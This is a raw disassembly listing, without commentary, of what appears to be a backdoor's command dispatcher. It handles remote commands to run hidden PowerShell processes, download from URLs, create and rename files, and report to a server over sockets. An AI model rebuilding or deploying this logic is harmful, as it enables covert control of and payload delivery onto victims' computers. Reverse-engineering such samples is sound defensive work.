cmp eax, 0x15
jb 0x1003956e
lea eax, [ebp - 0x74]
cmp dword [ebp - 0x60], 8
cmovae eax, dword [ebp - 0x74]
push 0x15
push str.85646458645456_ENDING
push ecx
push eax
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x74]
call fcn.100522e0
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x100383b3
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100383a9
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x74]
push eax
call fcn.10052530
mov ecx, esi
call fcn.10023bb0
add esp, 0x18
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x60]
cmp edx, 8
jb 0x10038413
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x74]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038409
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
xor eax, eax
mov word [ebp - 0x74], ax
mov edx, dword [ebp - 0x78]
cmp edx, 8
jb 0x10038464
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x8c]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003845a
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
inc edi
mov ecx, dword [ebp - 0x178]
sub ecx, dword [ebp - 0x17c]
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x10037ed2
lea ecx, [ebp - 0x17c]
call fcn.10055820
mov edx, dword [ebp - 0xa8]
cmp edx, 8
jb 0x10039530
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0xbc]
mov eax, ecx
cmp edx, 0x1000
jb 0x100384cf
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395c1
push edx
push ecx
call fcn.1011a823
add esp, 8
jmp 0x10039530
mov ecx, esi
cmp ebx, 8
jb 0x100384e7
mov ecx, dword [esi]
cmp edi, 7
jne 0x10038673
push edi
mov edx, str.protect
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10038673
lea eax, [ebp - 0xa4]
cmp dword [ebp - 0x90], 8
cmovae eax, dword [ebp - 0xa4]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call edi
mov ebx, eax
mov dword [ebp - 0x180], ebx
xor esi, esi
mov dword [ebp - 0x17c], esi
mov dword [ebp - 0x178], esi
xor eax, eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x174], eax
test ebx, ebx
je 0x10038585
push ebx
lea ecx, [ebp - 0x17c]
call fcn.1005d480
push ebx
push esi
mov esi, dword [ebp - 0x17c]
push esi
call fcn.1011ce00
add esp, 0xc
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x170], eax
lea eax, [ebp - 0xa4]
cmp dword [ebp - 0x90], 8
cmovae eax, dword [ebp - 0xa4]
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call edi
xor edi, edi
xor ebx, ebx
mov eax, dword [ebp - 0x180]
test eax, eax
je 0x100385ec
cmp eax, 0x7fffffff
ja 0x100395c6
push eax
lea ecx, [ebp - 0x68]
call fcn.10055e90
mov edi, eax
mov ecx, dword [ebp - 0x180]
add ecx, ecx
lea ebx, [ecx + edi]
push ecx
push 0
push edi
call fcn.1011ce00
add esp, 0xc
mov eax, dword [ebp - 0x180]
push eax
push edi
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, edi
call fcn.100396c0
test edi, edi
je 0x10038636
sub ebx, edi
and ebx, 0xfffffffe
mov eax, edi
cmp ebx, 0x1000
jb 0x1003862c
add ebx, 0x23
mov edi, dword [edi - 4]
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395cb
push ebx
push edi
call fcn.1011a823
add esp, 8
test esi, esi
je 0x10039530
mov ecx, dword [ebp - 0x170]
sub ecx, esi
mov eax, esi
cmp ecx, 0x1000
jb 0x10038664
add ecx, 0x23
mov esi, dword [esi - 4]
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395cb
push ecx
push esi
call fcn.1011a823
add esp, 8
jmp 0x10039530
mov ecx, esi
cmp ebx, 8
jb 0x1003867c
mov ecx, dword [esi]
cmp edi, 5
jne 0x10038ad1
push edi
mov edx, str.paste
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10038ad1
push 0x2a
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0xc8]
call fcn.10023670
add esp, 4
mov esi, dword [ebp - 0xc8]
lea edi, [esi + 0x18]
mov ecx, edi
mov ebx, dword [edi + 0x14]
cmp ebx, 8
jb 0x100386c6
mov ecx, dword [edi]
push 1
push 0x101900c0
push 0
mov edx, dword [edi + 0x10]
call fcn.1005b900
add esp, 0xc
cmp eax, 0xffffffff
je 0x100389d9
push 0x3f
mov edx, edi
lea ecx, [ebp - 0x17c]
call fcn.10023670
add esp, 4
mov ebx, dword [ebp - 0x17c]
cmp ebx, dword [ebp - 0x178]
je 0x100389be
nop word [eax + eax]
push ebx
lea ecx, [ebp - 0x8c]
call fcn.10052530
lea ecx, [ebp - 0x8c]
mov edi, dword [ebp - 0x78]
cmp edi, 8
cmovae ecx, dword [ebp - 0x8c]
push dword [ebp - 0x170]
push 2
push 0x1018ff70
push ecx
mov esi, dword [ebp - 0x7c]
mov edx, esi
call fcn.1005b7a0
add esp, 0x10
lea edx, [eax + 1]
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 7
cmp esi, edx
jb 0x100395d0
sub esi, edx
or ecx, 0xffffffff
cmp esi, 0xffffffff
cmovb ecx, esi
lea eax, [ebp - 0x8c]
cmp edi, 8
cmovae eax, dword [ebp - 0x8c]
push ecx
lea eax, [eax + edx*2]
push eax
lea ecx, [ebp - 0x74]
call fcn.10051fd0
lea ecx, [ebp - 0x74]
mov edi, dword [ebp - 0x60]
cmp edi, 8
mov esi, dword [ebp - 0x74]
cmovae ecx, esi
cmp dword [ebp - 0x64], 0
jne 0x100387be
push 0
mov edx, 0x1018ed8c
call fcn.10056450
add esp, 4
test eax, eax
jne 0x100387be
mov al, 1
jmp 0x100387c0
xor al, al
test al, al
jne 0x1003893e
mov ecx, dword [ebp - 0xc8]
mov eax, 0x7ffffffe
sub eax, dword [ecx + 0x10]
cmp eax, dword [ebp - 0x64]
jb 0x1003956e
mov edx, ecx
cmp dword [ecx + 0x14], 8
jb 0x100387e9
mov edx, dword [ecx]
lea eax, [ebp - 0x74]
cmp edi, 8
cmovae eax, esi
push dword [ebp - 0x64]
push eax
push dword [ecx + 0x10]
push edx
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
lea eax, [ebp - 0x8c]
cmp dword [ebp - 0x78], 8
cmovae eax, dword [ebp - 0x8c]
sub esp, 0xc
push eax
lea ecx, [ebp - 0x23c]
call fcn.10054730
mov eax, dword [ebp - 0x23c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x240], eax
sub esp, 0xc
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.1004eb90
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.10050d80
lea ecx, [ebp - 0x22c]
call fcn.10054c20
test eax, eax
jne 0x100388ae
mov eax, dword [ebp - 0x23c]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x23c]
add ecx, eax
push 0
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10022950
lea ecx, [ebp - 0x2e8]
call fcn.10054c20
test eax, eax
jne 0x100388e8
mov eax, dword [ebp - 0x2ec]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x2ec]
add ecx, eax
push 0
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10022950
lea ecx, [ebp - 0x2ec]
call fcn.10036170
lea ecx, [ebp - 0x23c]
call fcn.10039600
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x10038938
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x1003892e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
mov esi, dword [ebp - 0x74]
mov edi, dword [ebp - 0x60]
cmp edi, 8
jb 0x10038972
lea edi, [edi*2 + 2]
mov eax, esi
cmp edi, 0x1000
jb 0x10038968
add edi, 0x23
mov esi, dword [esi - 4]
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edi
push esi
call fcn.1011a823
add esp, 8
mov edx, dword [ebp - 0x78]
cmp edx, 8
jb 0x100389af
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x8c]
mov eax, ecx
cmp edx, 0x1000
jb 0x100389a5
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1003955f
push edx
push ecx
call fcn.1011a823
add esp, 8
add ebx, 0x18
cmp ebx, dword [ebp - 0x178]
jne 0x10038710
lea ecx, [ebp - 0x17c]
call fcn.10055820
lea ecx, [ebp - 0xc8]
call fcn.10055820
jmp 0x10039530
cmp ebx, 8
jb 0x100389e0
mov edi, dword [edi]
sub esp, 0xc
push edi
lea ecx, [ebp - 0x23c]
call fcn.10054730
mov eax, dword [ebp - 0x23c]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x240], eax
sub esp, 0xc
push esi
lea ecx, [ebp - 0x2ec]
call fcn.1004eb90
lea eax, [ebp - 0x22c]
push eax
lea ecx, [ebp - 0x2ec]
call fcn.10050d80
lea ecx, [ebp - 0x22c]
call fcn.10054c20
test eax, eax
jne 0x10038a71
mov eax, dword [ebp - 0x23c]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x23c]
add ecx, eax
push 0
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10022950
lea ecx, [ebp - 0x2e8]
call fcn.10054c20
test eax, eax
jne 0x10038aab
mov eax, dword [ebp - 0x2ec]
mov eax, dword [eax + 4]
lea ecx, [ebp - 0x2ec]
add ecx, eax
push 0
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10022950
lea ecx, [ebp - 0x2ec]
call fcn.10036170
lea ecx, [ebp - 0x23c]
call fcn.10039600
lea ecx, [ebp - 0xc8]
call fcn.10055820
jmp 0x10039530
cmp ebx, 8
jb 0x10038ad8
mov esi, dword [esi]
cmp edi, 7
jne 0x10039197
push edi
mov edx, str.execute
mov ecx, esi
call fcn.10056450
add esp, 4
test eax, eax
jne 0x10039197
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xd8], edi
push eax
push 0x1018ed8c
lea ecx, [ebp - 0xec]
call fcn.10051fd0
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
sub ecx, esi
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 4
jbe 0x10038b5f
lea eax, [esi + 0x60]
lea ecx, [ebp - 0xec]
cmp ecx, eax
je 0x10038b5f
mov ecx, dword [eax + 0x10]
cmp dword [eax + 0x14], 8
jb 0x10038b52
mov eax, dword [eax]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.10051fd0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 7
push 2
push 0x1018f0fc
lea ecx, [ebp - 0x2c]
call fcn.10051fd0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
push 1
push 0x1018e18c
lea ecx, [ebp - 0x44]
call fcn.10051fd0
lea eax, [ebp - 0x2c]
push eax
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0xec]
call fcn.10023600
add esp, 4
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x10038bf6
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x44]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038bec
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395d5
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
xor eax, eax
mov word [ebp - 0x44], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x10038c44
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038c3a
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395d5
push edx
push ecx
call fcn.1011a823
add esp, 8
push 0x44
push 0
lea eax, [ebp - 0x160]
push eax
call fcn.1011ce00
mov dword [ebp - 0x160], 0x44
mov dword [ebp - 0x134], 5
mov dword [ebp - 0x150], 0xffff8300
mov dword [ebp - 0x14c], 0xffff8300
xor eax, eax
mov word [ebp - 0x130], ax
push 0x10
push eax
lea eax, [ebp - 0x6c]
push eax
call fcn.1011ce00
add esp, 0x18
mov ebx, 0x7ffffffe
mov eax, ebx
mov ecx, dword [ebp - 0x94]
sub eax, ecx
cmp eax, 0x31
jb 0x100395da
lea eax, [ebp - 0xa4]
cmp dword [ebp - 0x90], 8
cmovae eax, dword [ebp - 0xa4]
push ecx
push eax
push 0x31
push str.powershell.exe__Command_Start_Process__FilePath__
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x2c]
call fcn.1005dba0
push 9
push str.___Args__
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
push 0x18
push esi
lea eax, [ebp - 0x5c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0xec]
cmp dword [ebp - 0xd8], 8
cmovae eax, dword [ebp - 0xec]
push dword [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x5c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
push 0x18
push esi
lea eax, [ebp - 0x44]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
push 1
push 0x1018fb7c
lea ecx, [ebp - 0x44]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 0
push 0x18
push esi
lea eax, [ebp - 0xbc]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x10038e0a
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x44]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038e00
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395df
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
xor eax, eax
mov word [ebp - 0x44], ax
mov edx, dword [ebp - 0x48]
cmp edx, 8
jb 0x10038e58
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038e4e
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395df
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 7
xor eax, eax
mov word [ebp - 0x5c], ax
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x10038ea6
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x2c]
mov eax, ecx
cmp edx, 0x1000
jb 0x10038e9c
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395df
push edx
push ecx
call fcn.1011a823
add esp, 8
mov ecx, dword [ebp + 8]
add ecx, 0x48
mov eax, dword [ecx + 0x10]
cmp dword [ecx + 0x14], 8
jb 0x10038eb7
mov ecx, dword [ecx]
cmp eax, 0x11
jne 0x1003907d
push eax
mov edx, str.hideparent_hidden
call fcn.10056450
add esp, 4
test eax, eax
jne 0x1003907d
mov ecx, dword [ebp - 0x94]
sub ebx, ecx
cmp ebx, 0x31
jb 0x100395e4
lea eax, [ebp - 0xa4]
cmp dword [ebp - 0x90], 8
cmovae eax, dword [ebp - 0xa4]
push ecx
push eax
push 0x31
push str.powershell.exe__Command_Start_Process__FilePath__
push ecx
push dword [ebp - 0x170]
lea ecx, [ebp - 0x104]
call fcn.1005dba0
push 9
push str.___Args__
lea ecx, [ebp - 0x104]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
push 0x18
push esi
lea eax, [ebp - 0x5c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0xec]
cmp dword [ebp - 0xd8], 8
cmovae eax, dword [ebp - 0xec]
push dword [ebp - 0xdc]
push eax
lea ecx, [ebp - 0x5c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
push 0x18
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
push 0x15
push str.___Windowstyle_hidden
lea ecx, [ebp - 0x2c]
call fcn.100520e0
mov esi, eax
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
push 0x18
push esi
lea eax, [ebp - 0x44]
push eax
call fcn.1011b630
add esp, 0xc
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
xor eax, eax
mov word [esi], ax
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0xbc]
call fcn.100522e0
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x1003904e
lea edx, [edx*2 + 2]
mov ecx, dword [ebp - 0x44]
mov eax, ecx
cmp edx, 0x1000
jb 0x10039044
add edx, 0x23
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100395e9
push edx
push ecx
call fcn.1011a823
add esp, 8
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
xor eax, eax
mov word [ebp - 0x44], ax
lea ecx, [ebp - 0x2c]
call fcn.10024ce0
lea ecx, [ebp - 0x5c]
call fcn.10024ce0
lea ecx, [ebp - 0x104]
jmp 0x10039117
push 3
lea ecx, [ebp + 8]
call fcn.100517b0
mov edx, str.hidden
mov ecx, eax
call fcn.10059db0
test al, al
je 0x1003911c
push str.___Windowstyle_hidden
lea eax, [ebp - 0xec]
push eax
push str.___Args__
lea eax, [ebp - 0xa4]
push eax
mov edx, str.powershell.exe__Command_Start_Process__FilePath__
lea ecx, [ebp - 0x5c]
call fcn.10059c20
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x44]
call fcn.10058e00
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x2c]
call fcn.10059c80
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x104]
call fcn.10058e00
add esp, 4
push eax
lea ecx, [ebp - 0xbc]
call fcn.100522e0
lea ecx, [ebp - 0x104]
call fcn.10024ce0
lea ecx, [ebp - 0x2c]
call fcn.10024ce0
lea ecx, [ebp - 0x44]
call fcn.10024ce0
lea ecx, [ebp - 0x5c]
call fcn.10024ce0
mov eax, dword [ebp - 0xac]
inc eax
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1011a831
add esp, 4
mov esi, eax
lea ecx, [ebp - 0xbc]
call fcn.10051d70
push eax
push esi
call fcn.10124286
add esp, 8
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x160]
push eax
push 0
push 0
push 0x10
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push esi
call fcn.1011a2ef
add esp, 4
lea ecx, [ebp - 0xbc]
call fcn.10024ce0
lea ecx, [ebp - 0xec]
call fcn.10024ce0
jmp 0x10039530
push 1
lea ecx, [ebp + 8]
call fcn.100517b0
mov edx, str.downurl
mov ecx, eax
call fcn.10059db0
lea ecx, [ebp + 8]
test al, al
je 0x100392ea
push 3
call fcn.100517b0
push eax
lea ecx, [ebp - 0x44]
call fcn.10052530
lea eax, [ebp - 0x170]
push eax
lea ecx, [ebp - 0x44]
call fcn.10051ef0
mov esi, dword [eax]
lea eax, [ebp - 0x180]
push eax
lea ecx, [ebp - 0x44]
call fcn.10051f10
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0x5c]
call fcn.10059e90
push 4
lea ecx, [ebp + 8]
call fcn.100517b0
mov esi, eax
push 0x1018f43c
lea edx, [ebp - 0xa4]
lea ecx, [ebp - 0xbc]
call fcn.10058da0
push esi
mov edx, eax
lea ecx, [ebp - 0x2c]
call fcn.10059c80
add esp, 8
lea ecx, [ebp - 0xbc]
call fcn.10024ce0
lea eax, [ebp - 0x170]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10051ef0
mov esi, dword [eax]
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x2c]
call fcn.10051f10
push ecx
push esi
push dword [eax]
lea ecx, [ebp - 0x104]
call fcn.10059e90
lea ecx, [ebp - 0x68]
call fcn.100244e0
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x68]
call fcn.100246b0
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x68]
push eax
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x5c]
push eax
push ecx
lea ecx, [ebp - 0x178]
call fcn.10059f60
lea ecx, [ebp - 0x178]
call fcn.10024300
cmp dword [ebp - 0x174], 0
jne 0x100395ee
lea ecx, [ebp - 0xc4]
call fcn.100244b0
lea ecx, [ebp - 0x68]
call fcn.10024550
lea ecx, [ebp - 0x104]
call fcn.10052b20
lea ecx, [ebp - 0x2c]
call fcn.10024ce0
lea ecx, [ebp - 0x5c]
call fcn.10052b20
lea ecx, [ebp - 0x44]
call fcn.10024ce0
jmp 0x10039530
push 1
call fcn.100517b0
mov edx, str.folder
mov ecx, eax
call fcn.10059db0
test al, al
je 0x10039356
push 0
lea ecx, [ebp - 0xa4]
call fcn.10051d70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
test eax, eax
je 0x1003933d
push str.48965456456456465654errorDirectory_created_succesfully_
call fcn.10052c20
mov ecx, esi
call fcn.10023aa0
add esp, 0x18
jmp 0x10039530
push str.48965456456456465654errorCould_not_create_directory.
call fcn.10052c20
mov ecx, esi
call fcn.10023aa0
add esp, 0x18
jmp 0x10039530
push 1
lea ecx, [ebp + 8]
call fcn.100517b0
mov edx, str.createfile
mov ecx, eax
call fcn.10059db0
test al, al
je 0x100393e8
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0xa4]
call fcn.10051d70
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x100393c4
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
push str.48965456456456465654errorFile_created_succesfully_
call fcn.10052c20
mov ecx, esi
call fcn.10023aa0
add esp, 0x18
jmp 0x10039530
mov esi, dword [0x101aba00]
sub esp, 0x18
mov ecx, esp
push str.48965456456456465654errorError_creating_file_
call fcn.10052c20
mov ecx, esi
call fcn.10023aa0
add esp, 0x18
jmp 0x10039530
push 1
lea ecx, [ebp + 8]
call fcn.100517b0
mov edx, str.rename
mov ecx, eax
call fcn.10059db0
test al, al
je 0x10039530
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0xa4]
call fcn.10051d70
push eax
push 0
push 0xfde9
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call ebx
mov esi, eax
push ecx
push esi
lea ecx, [ebp - 0x17c]
call fcn.1004f730
lea ecx, [ebp - 0xa4]
call fcn.10051d70
push 0
push 0
push esi
mov edi, dword [ebp - 0x17c]
push edi
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call ebx
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
lea ecx, [ebp + 8]
call fcn.100517b0
mov ecx, eax
call fcn.10051d70
push eax
push 0
push 0xfde9
call ebx
mov esi, eax
push ecx
push esi
lea ecx, [ebp - 0x68]
call fcn.1004f730
push 3
lea ecx, [ebp + 8]
call fcn.100517b0
mov ecx, eax
call fcn.10051d70
push 0
push 0
push esi
mov esi, dword [ebp - 0x68]
push esi
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call ebx
lea ecx, [ebp - 0x16c]
call fcn.1004f260
push edi
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x16c]
call fcn.1004f170
push esi
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x16c]
call fcn.1004f170
lea ecx, [ebp - 0x104]
call fcn.10051d70
mov esi, eax
lea ecx, [ebp - 0x2c]
call fcn.10051d70
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
lea ecx, [ebp - 0x104]
call fcn.10024ce0
lea ecx, [ebp - 0x2c]
call fcn.10024ce0
lea ecx, [ebp - 0x16c]
call fcn.1004f1a0
lea ecx, [ebp - 0x68]
call fcn.1004f450
lea ecx, [ebp - 0x17c]
call fcn.1004f450
lea ecx, [ebp - 0xa4]
call fcn.10024ce0
lea ecx, [ebp + 8]
call fcn.10055820
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1011a2e1
mov esp, ebp
pop ebp
ret
call fcn.10125fc5
call fcn.10125fc5
call fcn.10125fc5
call fcn.10021260
call fcn.10125fc5
call fcn.10125fc5
mov edx, str.Error_sending_data_to_server___Display_files_
mov ecx, 0x101aa2a8
call fcn.10058e70
push ecx
mov ecx, eax
call fcn.10051590
mov dword [0x101ab1c8], 1
push dword [ebp - 0x184]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call fcn.1011f305
call fcn.10125fc5
call fcn.10125fc5
call fcn.10125fc5
call fcn.1005d430
call fcn.10125fc5
call fcn.10058770
call fcn.10125fc5
call fcn.10021260
call fcn.10125fc5
call fcn.10021260
call fcn.10125fc5
call fcn.101245dc
int3